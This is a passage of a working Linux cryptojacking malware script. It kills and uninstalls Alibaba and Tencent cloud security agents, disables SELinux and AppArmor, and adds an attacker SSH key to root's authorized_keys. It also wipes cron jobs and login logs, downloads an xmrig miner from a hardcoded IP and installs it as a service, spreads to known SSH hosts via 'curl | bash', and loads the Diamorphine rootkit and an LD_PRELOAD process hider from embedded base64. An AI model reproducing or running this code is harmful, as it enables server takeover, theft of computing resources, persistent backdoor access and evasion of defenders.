GVuCiAgICBybSAtcmYgL3Vzci9sb2NhbC9hZWdpcy9hZWdpc19jbGllbnQKICAgIHJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3VwZGF0ZQpmaQp9CgpyZW1vdmVfcXVhcnR6KCl7CmlmIFsgLWQgL3Vzci9sb2NhbC9hZWdpcyBdO3RoZW4KCXJtIC1yZiAvdXNyL2xvY2FsL2FlZ2lzL2FlZ2lzX3F1YXJ0egpmaQp9CgoKdW5pbnN0YWxsX3NlcnZpY2UoKSB7CiAgIAogICBpZiBbIC1mICIvZXRjL2luaXQuZC9hZWdpcyIgXTsgdGhlbgoJCS9ldGMvaW5pdC5kL2FlZ2lzIHN0b3AgID4vZGV2L251bGwgMj4mMQoJCXJtIC1mIC9ldGMvaW5pdC5kL2FlZ2lzIAogICBmaQoKCWlmIFsgJExJTlVYX1JFTEVBU0UgPSAiR0VOVE9PIiBdOyB0aGVuCgkJcmMtdXBkYXRlIGRlbCBhZWdpcyBkZWZhdWx0IDI+L2Rldi9udWxsCgkJaWYgWyAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgXTsgdGhlbgoJCQlybSAtZiAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdC9hZWdpcyIgPi9kZXYvbnVsbCAyPiYxOwoJCWZpCiAgICBlbGlmIFsgLWYgL2V0Yy9pbml0LmQvYWVnaXMgXTsgdGhlbgogICAgICAgICAvZXRjL2luaXQuZC9hZWdpcyAgdW5pbnN0YWxsCgkgICAgZm9yICgodmFyPTI7IHZhcjw9NTsgdmFyKyspKSBkbwoJCQlpZiBbIC1kICIvZXRjL3JjJHt2YXJ9LmQvIiBdO3RoZW4KCQkJCSBybSAtZiAiL2V0Yy9yYyR7dmFyfS5kL1M4MGFlZ2lzIgoJCSAgICBlbGlmIFsgLWQgIi9ldGMvcmMuZC9yYyR7dmFyfS5kIiBdO3RoZW4KCQkJCXJtIC1mICIvZXRjL3JjLmQvcmMke3Zhcn0uZC9TODBhZWdpcyIKCQkJZmkKCQlkb25lCiAgICBmaQoKfQoKc3RvcF9hZWdpcwpzdG9wX3F1YXJ0egp1bmluc3RhbGxfc2VydmljZQpyZW1vdmVfYWVnaXMKcmVtb3ZlX3F1YXJ0egoKcHJpbnRmICIlLTQwcyAlNDBzXG4iICJVbmluc3RhbGxpbmcgYWVnaXNfcXVhcnR6IiAgIlsgIE9LICBdIgoKCgo=' | base64 -d | bash 2>/dev/null 1>/dev/null

      pkill aliyun-service 2>/dev/null 1>/dev/null

      if [ -f "/etc/init.d/agentwatch" ]; then rm -rf /etc/init.d/agentwatch 2>/dev/null 1>/dev/null ; fi

      if [ -f "/usr/sbin/aliyun-service" ]; then rm -fr /usr/sbin/aliyun-service 2>/dev/null 1>/dev/null ; fi

      if [ -d "/usr/local/aegis/" ]; then rm -rf /usr/local/aegis* 2>/dev/null 1>/dev/null ; fi

        if type systemctl 2>/dev/null 1>/dev/null; then systemctl stop aliyun.service 2>/dev/null 1>/dev/null ; else service aliyun.service stop 2>/dev/null 1>/dev/null ; fi

  if type systemctl 2>/dev/null 1>/dev/null; then systemctl disable aliyun.service 2>/dev/null 1>/dev/null ; else if [ -f "/etc/init.d/aliyun" ]; then rm -fr /etc/init.d/aliyun 2>/dev/null 1>/dev/null ; fi ; fi

    if type systemctl 2>/dev/null 1>/dev/null; then systemctl stop bcm-agent 2>/dev/null 1>/dev/null ; else service bcm-agent stop 2>/dev/null 1>/dev/null ; fi

      if type yum 2>/dev/null 1>/dev/null; then yum remove bcm-agent -y 2>/dev/null 1>/dev/null ; fi

        if type apt-get 2>/dev/null 1>/dev/null; then apt-get remove bcm-agent -y 2>/dev/null 1>/dev/null ; fi

elif ps aux | grep -i '[y]unjing' 2>/dev/null 1>/dev/null; then

if [ -f "/usr/local/qcloud/stargate/admin/uninstall.sh" ]; then /usr/local/qcloud/stargate/admin/uninstall.sh 2>/dev/null 1>/dev/null ; fi

if [ -f "/usr/local/qcloud/YunJing/uninst.sh" ]; then /usr/local/qcloud/YunJing/uninst.sh 2>/dev/null 1>/dev/null ; fi

if [ -f "/usr/local/qcloud/monitor/barad/admin/uninstall.sh" ]; then /usr/local/qcloud/monitor/barad/admin/uninstall.sh 2>/dev/null 1>/dev/null ; fi

fi

sudo sysctl kernel.nmi_watchdog=0

sysctl kernel.nmi_watchdog=0

echo '0' >/proc/sys/kernel/nmi_watchdog

echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf


if ps aux | grep -i '[a]liyun'; then

  ${CURL_CMD} http://update.aegis.aliyun.com/download/uninstall.sh | bash

  ${CURL_CMD} http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash

  pkill aliyun-service

  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service

  rm -rf /usr/local/aegis*

  systemctl stop aliyun.service

  systemctl disable aliyun.service

  service bcm-agent stop

  yum remove bcm-agent -y

  apt-get remove bcm-agent -y

elif ps aux | grep -i '[y]unjing'; then

  /usr/local/qcloud/stargate/admin/uninstall.sh

  /usr/local/qcloud/YunJing/uninst.sh

  /usr/local/qcloud/monitor/barad/admin/uninstall.sh

fi

if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then

  /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor

else

  if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 ]; then

    /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 stop && /usr/local/cloudmonitor/CmsGoAgent.linux-amd64 uninstall && rm -rf /usr/local/cloudmonitor

  else

    echo "ali cloud monitor not running"

  fi

fi

setenforce 0

echo SELINUX=disabled >/etc/selinux/config

service apparmor stop

systemctl disable apparmor

service aliyun.service stop

systemctl disable aliyun.service

ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %

ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %

rm -rf /usr/local/aegis

}


function SetupNameServers(){

grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; ${CHATTR} +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null

grep -q 8.8.4.4 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; ${CHATTR} +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null

}


clmo() {

if ps aux | grep -i '[a]liyun'; then

echo "this is ali cloud"

number=$(ps -ef|grep -i dun|grep -v grep|wc -l)

until [ "$number" -eq 0 ]; do

systemctl stop aliyun

systemctl stop aegis

ps -ef|grep -i aegis|awk '{print $2}'|xargs kill -HUP

number=$(ps -ef|grep -i dun|grep -v grep|wc -l)

done


while  [ -d /usr/local/aegis ]

do 

ps -ef|grep -i AliSecGuard|grep -v grep |awk '{print $2}'|xargs kill -HUP 

path=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}')

num=$(ps -ef|grep AliSecGuard|grep -v grep|awk '{print $NF}'|wc -l)

if [ $num -gt 0 ]

then 

echo "$path" exist

$path --stopdriver

else

echo "no AliSecGuard process"

fi

rm -rf /usr/local/aegis

done

else 

echo "it's not ali cloud"

fi

}

function clean_cron(){

${CHATTR} -R -ia /var/spool/cron

tntrecht -R -ia /var/spool/cron

${CHATTR} -ia /etc/crontab

tntrecht -ia /etc/crontab

${CHATTR} -R -ia /etc/cron.d

tntrecht -R -ia /etc/cron.d

${CHATTR} -R -ia /var/spool/cron/crontabs

tntrecht -R -ia /var/spool/cron/crontabs

crontab -r

rm -rf /var/spool/cron/*

rm -rf /etc/cron.d/*

rm -rf /var/spool/cron/crontabs

rm -rf /etc/crontab

}

function lock_cron()

{

${CHATTR} -R +ia /var/spool/cron

touch /etc/crontab

${CHATTR} +ia /etc/crontab

${CHATTR} -R +ia /var/spool/cron/crontabs

${CHATTR} -R +ia /etc/cron.d

}

function makesshaxx(){

echo "begin makessh"

RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver"


mkdir /root/.ssh/ -p  

touch /root/.ssh/authorized_keys  

touch /root/.ssh/authorized_keys2

chmod 600 /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys2

grep -q root@puppetserver /root/.ssh/authorized_keys || ${CHATTR} -ia /root/.ssh/authorized_keys; 

grep -q root@puppetserver /root/.ssh/authorized_keys || tntrecht -ia /root/.ssh/authorized_keys; 

grep -q root@puppetserver /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; ${CHATTR} +ia /root/.ssh/authorized_keys; tntrecht +ia /root/.ssh/authorized_keys

grep -q root@puppetserver /root/.ssh/authorized_keys2 || ${CHATTR} -ia /root/.ssh/authorized_keys2; 

grep -q root@puppetserver /root/.ssh/authorized_keys2 || tntrecht -ia /root/.ssh/authorized_keys2; 

grep -q root@puppetserver /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; ${CHATTR} +ia /root/.ssh/authorized_keys2; tntrecht +ia /root/.ssh/authorized_keys2

}

download_f(){

config_url=http://205.185.118.246/bWVkaWEK/config.json

miner_url=http://205.185.118.246/bWVkaWEK/xm.tar

export MOHOME="/usr/share"

cd ${MOHOME} 

${WGET_CMD} --tries=3 --timeout=10 -O ${MOHOME}/[cmake].pid ${config_url}

echo ${config_url}

if [ -f ${MOHOME}/\[cmake\] ];then

    echo "miner file exists"

else

    ${WGET_CMD} --tries=10 --timeout=10 -O ${MOHOME}/crypto  ${miner_url}

    if [ $? -ne 0 ];then

        ${WGET_CMD} --tries=2 --timeout=10 -O ${MOHOME}/crypto ${miner_url_backup}

    fi 

    if tar -xf "${MOHOME}/crypto" -C ${MOHOME};then

        mv ${MOHOME}/xmrig  ${MOHOME}/[cmake]  

        chmod a+x ${MOHOME}/[cmake]

        rm -rf ${MOHOME}/xmrig*

    fi

fi

}

setup_s(){

grep -q cmake /etc/systemd/system/cmake.service

if [ $? -eq 0 ]

then 

echo service exist

else

rm -f /etc/systemd/system/cmake.service

cat >/tmp/ext4.service << EOLB

[Unit]

Description=crypto system service

After=network.target

[Service]

Type=forking

GuessMainPID=no

ExecStart=${MOHOME}/[cmake] --config=${MOHOME}/[cmake].pid

WorkingDirectory=${MOHOME}

Restart=always

Nice=0 

RestartSec=3

[Install]

WantedBy=multi-user.target

EOLB

fi

mv /tmp/ext4.service /etc/systemd/system/cmake.service 

systemctl daemon-reload

systemctl start cmake

systemctl enable cmake

}

exec_f(){

  for nhid in $(ps aux | grep -v grep | grep '/usr/share/\[cmake\]\|masscan' | awk '{print $2}')

   do

     kill -31  $nhid

   done

}


hide_f(){

if [ -d "/usr/src/kernels/$(uname -r)/lib" ]

then 

  hi_home=${MOHOME}/..hide

  mkdir -p $hi_home

  if [ ! -d "$hi_home" ]; then mkdir -p $hi_home ; fi

  hf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2Jbx7MtAB6Df6/G/AKW/Oy+7u98+6/Z2XvZ3+r3+LuB1d3Z6u89I5wvJU4AoCHWfkGe+64Z34d3X/xeF55Zj2JHJyA+25USftgNjwcytxWul3LFyzchmsp7gJjB02w5kfablMyeUjrL1K1n7NfMDy3WgiyjQOSPH49PLd/Sn0fR8PDmlw8nBiPxAjkbT09Fx0qr22qS72yYdLUdOD1bbkW4YLIglY45pzdaSfL1Xpgn0up0SzVhEz3cN6giqdsDkCLOHsK3MZKdN+m2y069ynVlC/VKWMzPUrxKEu1lWZhrz7H5X5Rk5VhCaJaKOyWaE0tMpnbPQhOUNlOfQBBGk2Eq6vW5unKDcNHMRZ9GMxRyf09Hp/o/HowN1ODl9Mz6k777ra+S33+Q9tN/TlMgJrLnDTGK7zpwYfmeAqpES25+e4Ihr1zKJ2oo8Uw8ZXemeZzlzCosVaqq3uAmobpo+DQl+t0mR/rXlh22SxwqsXxi0zHE8DkIyg5JUGFtC6rvAUC/3WY4V0is2t5xBqr+AGSEYP0XaOQSyWaCUKBXaQssoCdqiFBySokdSbhKDtSYv86I+t/hGeOMxXGZwIrCEpT5nMXW1FVLh75pquE4Aegj9yID5g3RsHpAWKKEhJEtxietb89Qw7kXo99aiLC3bHggfkElpOSEIWaBGYXlTHUF/OxGZ2ziNQxRptZVGI4+G83gYg36vwgJoSZj0e8CGPI4JThjJe5ZJQXQxpjTBin4r8kkUnCNf1G3ssSWzUmBsshSxYdGrmYoupSm/Ko0SdgEReD3GBnsi6M5QKUdn08mPI3o8mRxdnmW6KrJTW0tMQDergNquu4w86ugrhlqLTdRYQIpvYRvqTo5LZM2ADUYNMZD5dAkefsXUjaW3jgjZI+oaQcjS28K4MUBNyUkKvTcKqkOShbm2NBkHtVn0+abGJQ8j3yGlpRCuU45FIbEGitKYuT5RrQpXbnache0GbEAsSFyXx5PTQ3qy/w5YNRoWebHHQ6IbGwXEAY38im5w53QAjfNtgHmoBdT3PJdwfh/IXnlcJoyG3OVTbdymSji9PD5OVXyrKMI5Qz1YUvHdUiAEg49BU+xsxBO2LUP2YCpG5KNXD7jaKNONBSYTLDhUL548zsrbfA2EcAqcXiatJ5EQRANVK1ZALefaCiyYxwOEwR9ADLl9JZgIqh2ML9AL0hZmpyXo2FDCx3Zs3nw9s3WI6Bvk7A0dn/40Ph9DUs0hdzMj63DRH59oRJAvp5mFbiyZmQtXa3KN+EBlP7WMaKDtz0y0TDTyhPbma9MaKLIgTlpEfMAQaX+OSGDdW5WsFQD/fd/58Bmk4JS6H7IYgyxh5WBsKS2oiUbbhPl+Ei2KmUmprk4+pcFcpBkWkh+lUcAgEscNbaWQb4nhRjB/tPH14iFtMVrgp4LGM0spBgvX51WZAWQ6g3LEc2cz0b4mT8NXm7SWCbOW57NrGBG7aTLIclwoaVsm5R8YyNB5UHSosjs5V4E/2LtM12z5CwQq10DcNjl8c0ZjF0n8MkWMOVYpwaQxArneDZ357oorVk2lTf4CckIRBiCVuRu6xI2QxkO3JLgR+j4uC8VEs9gHMQK2JWBisP/Af97PzA/wl+J6+TfgRIlmRNp5MAFPDxdbEirCfmFConHztYUfqCkoFYZ0OplcQLSakI0N8tXJ/t8m0zymb7JrVMN2C7pPAK3ai5S6rW3EEtbTRYV/XICcREW7+YHrlQd4UDQ6oMh4yaq9QPMaiPgPIRnJbGzAb3XFVsbKU0/2D8dDejYdvRm/46uFc8REzj3HZk4BQ+MydTQUCWKZmtEr5InAWnlQlQGB0I1stUAVjQj3s5om0nKsQpQebDEWW3SgoZHNvUQqnxkgD8/xDZB+5V4zlftGMmkk8qKInRoeAATuEFyL8V+3+A96UoaLdUOF1S2JzSVGJhwD21H7Evzbgj+EbuwNiRMsH+IN8M8r8M+Zz1jiRrkaijvdF0xw/8vp7U+U356S3R6U235vZvuD8tqXyGqNOq19rrT2F81rpE5sf/nEhlNW5tY1o3jPkR3rPPLY+nvknbpAhNvezCPm/CeGpgyFlXCYDCkoIQUypFkZa5ZDE26aBDjDh3DZcthH/MDjskbyDfiwMJ7uM8p/q1pi7hlGFruEFhHlMdcKLzHqkH8gAfCe+OjXTNLm5fjgcHxAzy+m4+EFvfj72YgO346GR+diBPjJg68v4pO0RjY9viZb17oN88za5mkbV2kOm8nQ2Xr8QIYfrMefSQfMyiOS5SvOozyHNfJXZF8jd0XmdfJWZc3kjJM1xIbVygqFCSXIGjfE7ASKF4aWY+PBP/e/0DJvMteLXfbiLVRWJ5ODy+MRSMWMkOph6HNaa7rSdJ4xSUuBIKQLpoPtx7d5FIOQ5UbgAgkmry5E78IyIVXFk+MCinZA+pjJyanqpqluFATC5jYp8UGxJcSTAJR1sYx+iQSMqPDZws6BEMVktkQUGefuE2t6ecGIp+f31PHK76jj01NAzMv8R7mYx9oSSsFqof2QKv1O8lmlvpZHuQS/q7TmmkoZ8jsNJMrVkxyCrz/lDD5aobGATQGM4Ind0ANGzseH/IjyVVICqNJjT60QvpMsuDk6nw7fcl/PH3z+c69w8sn7r3ymLwc5rueXZ6Mp55qlT02OCvZYlLFgkBrJu1dMApVI8l5Rogy5Q49sSPBPuOJLZ5/e/aTbo7SuleHgiqHus73J7ec6Bs4Hw4++FWIS7tCZ6xuQH0v3sbotuXeiMTJ1oeL1sboFAwRyNlCHOhLm04Qyj3zTaZNvvgHSTWh5RZov/KaK9NrwuWqqBSKahlNKCnSJnHjvi7EXSkjXz8L3U/38CQtZ0RR8ZkuY9qbNiX/eGQ8kl+SgGE+nwc3qyrXV/H00KK58O5PrxbvQRv5iu03O9g9HYmcI+xoNN2135cXI+XMqmWyQf3c+dTqdLr5jWqNyCdKfagG0gUz5eKKB7w+U3GsN3pDl5fI7A4i10ivi9KqpPCC3+9/sDp7+EKSBWt6DrYxucqVr92c7iXLz213pDatkTFO8dUhVXbnfXEMLVJEbxcnkXns8mEg2pqnlThHKCYPXldr6o5G77L5wTIWSZe8/yuv5vvD650P1FcJjhvd7KQFMOw8ZingfUiesCF5+E/Ik8avvPh49jfyrjnsmItazEv9wLSv+V5K/akXlQ+fBfTRA+Pup8Kckd8xjPYX4uYnSkE2uUE+IqMS9k1L2qRSWDJvpTuTl36J8Hn2VH9U8RVvVZzeP01XuYY5MU6Ad4e08OJejNWCIbtSaKtEaqibeJ9Hj8XB0ej5SmwcRbL1/PD/YPjw7xsAi+vcvL95Opmpz1XF0M9d+MDofTsdnFxg5msdHJwRr4KXFo+N/+3lrDfdA4TXmF+Jx9/vvTnens1N5/71bv//+Q0B2S/SrQgQUd1eE8DuFwR3d/H6g0h2fKpHsYDvB4A/zchCf6vNzhFusV8Sz2PydQeEBMYWyFlJFM0PNb9hJ51NX2FiOVhy0TvdPRgVSQIM50QpPFJKzBAjHu902/813+fC734t/J1t5bNptx8KKl9FZ1ZnyzBWirodlOJ7lqsnBL6Q0BxOBScnz5yRBgJL3LgT8Egdcmvb4x+0v29+28ZGlELDwypJ0K+/A44eK/EF78Ugx7oA/oAjQHK7hVrxBSV5ENmXFaxM1JoT+b3vA/zec6EuGV5Vfksc98b+z822/FP+7O7sv6/j/R4B79a/NFXmFV49ZIeAqwyFu5w2DbP6MT++Vo4PxFLG2betK/FegYPtrNVgw6I24q2/62vZVZNmmcvbzAeIm3d5HKMsVIPNKaXytnuwfjTSyOYRuJKqRk72vVRiRHH8GisJL03uQOU4dO2qooYYaaqihhhpqqKGGGmqooYYaaqihhhpqqKGGGirwHxsmBzQAUAAA'

  echo $hf|base64 -d >$hi_home/hf.tar

  tar -xf $hi_home/hf.tar -C $hi_home/

  cd $hi_home/ 

  make

      if [ -f "$hi_home/diamorphine.ko" ]

      then 

       insmod diamorphine.ko

      else

      echo "dia hide false"

      fi

else

  echo "other hide method"

fi

}


exec_hide(){

hi_home=/usr/share/..hide

if [ -f "$hi_home/diamorphine.ko" ]

then 

   echo "diamorphine loaded1"

   echo "hide diamorphine1"

   exec_f

else

    echo "diamorphine not loaded,execute load process"

    hide_f

    exec_f 

fi

}


localgo() {

echo > /var/spool/mail/root

echo > /var/log/wtmp

echo > /var/log/secure

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then

  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  ${mainurl/b.sh} | bash >/dev/null 2>&1 &' & done

fi

}

exec_hide2(){

BINARY_NAME="[cmake]"

H2P=${MOHOME}/..lph

if [ "$UID" = "0" ];then

LHB_MAKE='YWxsOiBsaWJwcm9jZXNzaGlkZXIuc28KCmxpYnByb2Nlc3NoaWRlci5zbzogcHJvY2Vzc2hpZGVyLmMKCWdjYyAtV2FsbCAtZlBJQyAtc2hhcmVkIC1vIGxpYnByb2Nlc3NoaWRlci5zbyBwcm9jZXNzaGlkZXIuYyAtbGRsCgouUEhPTlkgY2xlYW46CglybSAtZiBsaWJwcm9jZXNzaGlkZXIuc28KCg=='

PROCHIDE='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jbHVkZSA8ZGlyZW50Lmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKLyoKICogRXZlcnkgcHJvY2VzcyB3aXRoIHRoaXMgbmFtZSB3aWxsIGJlIGV4Y2x1ZGVkCiAqLwpzdGF0aWMgY29uc3QgY2hhciogcHJvY2Vzc190b19maWx0ZXIgPSAiZXZpbF9zY3JpcHQucHkiOwoKLyoKICogR2V0IGEgZGlyZWN0b3J5IG5hbWUgZ2l2ZW4gYSBESVIqIGhhbmRsZQogKi8Kc3RhdGljIGludCBnZXRfZGlyX25hbWUoRElSKiBkaXJwLCBjaGFyKiBidWYsIHNpemVfdCBzaXplKQp7CiAgICBpbnQgZmQgPSBkaXJmZChkaXJwKTsKICAgIGlmKGZkID09IC0xKSB7CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgY2hhciB0bXBbNjRdOwogICAgc25wcmludGYodG1wLCBzaXplb2YodG1wKSwgIi9wcm9jL3NlbGYvZmQvJWQiLCBmZCk7CiAgICBzc2l6ZV90IHJldCA9IHJlYWRsaW5rKHRtcCwgYnVmLCBzaXplKTsKICAgIGlmKHJldCA9PSAtMSkgewogICAgICAgIHJldHVybiAwOwogICAgfQoKICAgIGJ1ZltyZXRdID0gMDsKICAgIHJldHVybiAxOwp9CgovKgogKiBHZXQgYSBwcm9jZXNzIG5hbWUgZ2l2ZW4gaXRzIHBpZAogKi8Kc3RhdGljIGludCBnZXRfcHJvY2Vzc19uYW1lKGNoYXIqIHBpZCwgY2hhciogYnVmKQp7CiAgICBpZihzdHJzcG4ocGlkLCAiMDEyMzQ1Njc4OSIpICE9IHN0cmxlbihwaWQpKSB7CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgY2hhciB0bXBbMjU2XTsKICAgIHNucHJpbnRmKHRtcCwgc2l6ZW9mKHRtcCksICIvcHJvYy8lcy9zdGF0IiwgcGlkKTsKIAogICAgRklMRSogZiA9IGZvcGVuKHRtcCwgInIiKTsKICAgIGlmKGYgPT0gTlVMTCkgewogICAgICAgIHJldHVybiAwOwogICAgfQoKICAgIGlmKGZnZXRzKHRtcCwgc2l6ZW9mKHRtcCksIGYpID09IE5VTEwpIHsKICAgICAgICBmY2xvc2UoZik7CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgZmNsb3NlKGYpOwoKICAgIGludCB1bnVzZWQ7CiAgICBzc2NhbmYodG1wLCAiJWQgKCVbXildcyIsICZ1bnVzZWQsIGJ1Zik7CiAgICByZXR1cm4gMTsKfQoKI2RlZmluZSBERUNMQVJFX1JFQURESVIoZGlyZW50LCByZWFkZGlyKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXApzdGF0aWMgc3RydWN0IGRpcmVudCogKCpvcmlnaW5hbF8jI3JlYWRkaXIpKERJUiopID0gTlVMTDsgICAgICAgICAgICAgICBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKc3RydWN0IGRpcmVudCogcmVhZGRpcihESVIgKmRpcnApICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAp7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICBpZihvcmlnaW5hbF8jI3JlYWRkaXIgPT0gTlVMTCkgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICBvcmlnaW5hbF8jI3JlYWRkaXIgPSBkbHN5bShSVExEX05FWFQsICNyZWFkZGlyKTsgICAgICAgICAgICAgICBcCiAgICAgICAgaWYob3JpZ2luYWxfIyNyZWFkZGlyID09IE5VTEwpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIkVycm9yIGluIGRsc3ltOiAlc1xuIiwgZGxlcnJvcigpKTsgICAgICAgICBcCiAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICBzdHJ1Y3QgZGlyZW50KiBkaXI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgd2hpbGUoMSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICBkaXIgPSBvcmlnaW5hbF8jI3JlYWRkaXIoZGlycCk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgIGlmKGRpcikgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICAgICAgICAgIGNoYXIgZGlyX25hbWVbMjU2XTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgICAgY2hhciBwcm9jZXNzX25hbWVbMjU2XTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICBpZihnZXRfZGlyX25hbWUoZGlycCwgZGlyX25hbWUsIHNpemVvZihkaXJfbmFtZSkpICYmICAgICAgICBcCiAgICAgICAgICAgICAgICBzdHJjbXAoZGlyX25hbWUsICIvcHJvYyIpID09IDAgJiYgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgIGdldF9wcm9jZXNzX25hbWUoZGlyLT5kX25hbWUsIHByb2Nlc3NfbmFtZSkgJiYgICAgICAgICAgXAogICAgICAgICAgICAgICAgc3RyY21wKHByb2Nlc3NfbmFtZSwgcHJvY2Vzc190b19maWx0ZXIpID09IDApIHsgICAgICAgICBcCiAgICAgICAgICAgICAgICBjb250aW51ZTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAgICAgICAgYnJlYWs7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKICAgIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgcmV0dXJuIGRpcjsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCn0KCkRFQ0xBUkVfUkVBRERJUihkaXJlbnQ2NCwgcmVhZGRpcjY0KTsKREVDTEFSRV9SRUFERElSKGRpcmVudCwgcmVhZGRpcik7Cgo='

mkdir -p ${H2P} 2>/dev/null

echo $LHB_MAKE | base64 -d > ${H2P}/Makefile

echo $PROCHIDE | base64 -d > ${H2P}/processhider.c

sed -i 's/evil_script.py/'$BINARY_NAME'/g' ${H2P}/processhider.c

cd ${H2P}

make 2>/dev/null 1>/dev/null

${CHATTR} -ia / /etc/ /etc/ld.so.preload /usr/ /usr/local/ /usr/local/lib/ 2>/dev/null 1>/dev/null

cp ${H2P}/libprocesshider.so /usr/local/lib/$BINARY_NAME.so 2>/dev/null

#rm -fr ${H2P} 2>/dev/null 1>/dev/null

